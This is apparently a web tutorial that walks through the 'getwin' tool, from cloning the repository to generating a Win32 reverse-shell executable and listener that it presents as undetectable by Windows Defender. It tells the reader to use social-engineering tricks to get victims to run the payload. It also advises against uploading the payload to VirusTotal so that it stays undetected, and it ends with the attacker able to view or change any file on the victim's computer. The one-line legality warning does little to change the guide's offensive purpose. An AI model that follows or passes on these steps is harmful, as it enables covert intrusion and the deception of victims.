Windows shell is what, every hacker loves. Various Windows payloads are designed to bypass Windows OS security mechanisms. According to ethical hacking researcher of international institute of cyber security these payloads are well coded to get sessions of Windows OS. There are many different ways of getting a reverse shell. Today we will show the getwin tool used to create Win32 payload and listener.
Payload generated by this tool is FUD (fully undetectable) by Windows 10 Defender. Do Not Upload the payload generated on virustotal.com.
The tool does not need any configuration, no need to configure port forwarding or install other programs.
- For testing purposes, On the attacker side, we will use Kali Linux 2018.4 amd64 and on the Victim side, we will use Windows 10 1809.
- Open terminal type git clone https://github.com/thelinuxchoice/getwin.git
- Then type cd getwin & type chmod u+x getwin.sh

:: Warning: Attacking targets without ::
:: prior mutual consent is illegal! ::- After the tool has started, press enter to set the default port. Then enter the payload name(test01) and select the icon.

- As you can see the listener connection has started. Now you can use any social engineering trick to execute the payload in the victim's computer.
- For testing, we will use Windows 10 1809 with Windows Defender enabled.
- So now we will execute the payload in Windows 10 OS.
- After creating the payload (test01.exe). Execute the payload (test01.exe). Simply double-click the executable.
- As you double-click on the payload (test01.exe). A session will be created between the victim and the target machine and you will get Windows shell.
Do Not Upload the payload generated on virustotal.com

- Now the attacker can change or view any file of the target’s Windows 10 computer.
